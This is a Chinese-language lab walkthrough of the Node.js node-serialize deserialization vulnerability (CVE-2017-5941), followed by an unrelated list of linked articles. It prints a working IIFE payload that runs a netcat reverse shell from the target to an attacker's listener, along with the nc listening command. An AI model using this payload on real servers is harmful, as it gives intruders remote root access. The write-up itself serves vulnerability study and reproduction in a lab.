Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
2.1 摘要
2.1.1 漏洞介绍
- 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution
- 漏洞CVE id: CVE-2017-594
- 漏洞类型: 代码执行
- Node.js存在反序列化远程代码执行漏洞,若不可信的数据传入
unserrialize()
函数,通过传递立即调用函数表达式(IIFE)的JavaScript对象可以实现任意代码执行。并且Node.js服务端必须存在接收序列的数据接口
2.1.2 漏洞环境
- 操作机:Kali Linux
- 目标机:CentOS 6.5
2.1.3 实验工具
- exp.txt:利用nodejs代码执行的代码文件。
2.2 漏洞复现
- 首先访问目标机器http://172.16.12.2可以看到一个存在node.js漏洞的登录界面。
- 使用nc监听本地端口,用于接收漏洞环境的反弹Shell. nc -lv -p 8080 即监听本机8080端口
准备反序列化代码:
_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}()
,修改里面的用户名任意输入,将修改好的反序列化代码复制到密码框点击登录即可。
点击登录后,如下图所示:利用成功。已经反弹回一个shell,并且权限为root。
2.3 漏洞分析
- 使用0.0.4版本的node-serialize进行研究,成功利用的话,不可信输入传递到 unserialize()的时候可以执行任意代码。创建Payload最好使用同一模块的serialize()函数。 创建以下 JavaScript 对象,将其传入 serialize() 函数。
运行后得到以下输出:
- 得到序列化的字符串,可以通过unserialize()函数进行反序列化,但问题是代码执行不会发生,直到触发对应于对象的rce属性的函数。可以使用JavaScript的立即调用函数表达式(IIFE)来调用该函数。如果在函数体之后使用括号(),当对象被创建时,函数将被调用。 它的工作方式类似于C ++中的类构造函数。现在修改过的代码经 serialize() 函数马上会被调用。
- 运行后得到以下输出:
- 成功执行,那么就有了下面的 exploit:
- 将其传入unserialize() 函数,触发代码执行。
运行后得到以下输出:
2.4 修复方案
- 更新到官方最新版本:https://nodejs.org/en/download/
2.5 思考总结
- 本实践实现了Node.js 反序列化漏洞远程执行代码的复现,并对漏洞原理进行了详细的分析。该漏洞本质上是构造Payload传入unserrialize()函数进行反序列化:使用JavaScript的立即调用函数表达式(IIFE),当对象被创建时,将 该JavaScript 对象传入 serialize() 函数,输出exploit将其传入unserialize() 函数,可以实现任意代码执行。危害不容小觑。
Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)的更多相关文章
- Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)
Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ...
- CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞
[CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092) Microsoft Internet Explorer是美国微软(Mic ...
- Microsoft .NET Framework 远程执行代码漏洞
受影响系统:Microsoft .NET Framework 4.8Microsoft .NET Framework 4.7.2Microsoft .NET Framework 4.7.1Micros ...
- HTTP.SYS远程执行代码漏洞分析 (MS15-034 )
写在前言: 在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...
- HTTP.sys远程执行代码漏洞
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞. http://bbs.safedog.cn/thre ...
- Windows Shell远程执行代码漏洞((CVE-2018-8414)复现
0x00 SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...
- HTTP.SYS 远程执行代码漏洞分析(MS15-034 )
在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...
- 【研究】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)
1.1.1 漏洞描述 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 ).利用HTTP. ...
- IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现
CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...
随机推荐
- List自定义排序(可多条件)
1:先建需要排序的属性Model package com.msqsoft.app.queuing.util; public class ListOrderByModel { private Strin ...
- sql面试题-----行转列
tem数据表如下图 select Time as 日期, sum ( case end ) as 胜, sum ( case end ) as 负 from tem group by Time 执行结 ...
- Unable to find utility "instruments", not a developer tool or in PATH
在调试ios上的项目的时候出现报错 unable to find utility "instruments", not a developer tool or in PATH 报错 ...
- [P3613]睡觉困难综合征
Description: 给定一个n个点的树,每个点有一个操作符号 "&" "|" "^" ,以及一个权值 要求支持以下操作: 1. ...
- 关于在ViewPager的子页面中不能跳转的问题
关于在ViewPager的子页面中不能跳转的问题 什么是ViewPager? 相信很多人使用过微信,其实微信的四个子页面:微信.通讯录.发现.我以及下面的引导空间就是ViewPager. 出现的问题: ...
- 编程菜鸟的日记-初学尝试编程-寻找2到n之间的素数并输出
//输入一个整数n,输出2到n之间的具体素数值 #include <iostream> #include <algorithm> #include <cmath> ...
- GetLastError
GetLastError返回错误表[0]-操作成功完成. [1]-功能错误. [2]-系统找不到指定的文件. [3]-系统找不到指定的路径. [4]-系统无法打开文件. [5]-拒绝访问. [6]-句 ...
- 初次接触Jenkins遇到的几个问题
1,Jenkins一直显示pending-Waiting for next available executor 网上已经提到的原因 1>,磁盘满了 2>,节点管理 刷新状态 我遇到的情况 ...
- spring boot ${}占位符不起作用
问题:在 pom.xml 文件里定义好属性标签,然后在 properties或者xml 中使用${key}引用,打包之后就会自动替换掉. 但是在使用 spring boot 后发现,@可以替换,但是$ ...
- Codeforces909D Colorful Points(缩点)
http://codeforces.com/problemset/problem/909/D 直接模拟超时.要运用缩点的方法,把相同的一段缩成一点,记录有几个. 对于非首尾的缩点每次-2,首尾的-1. ...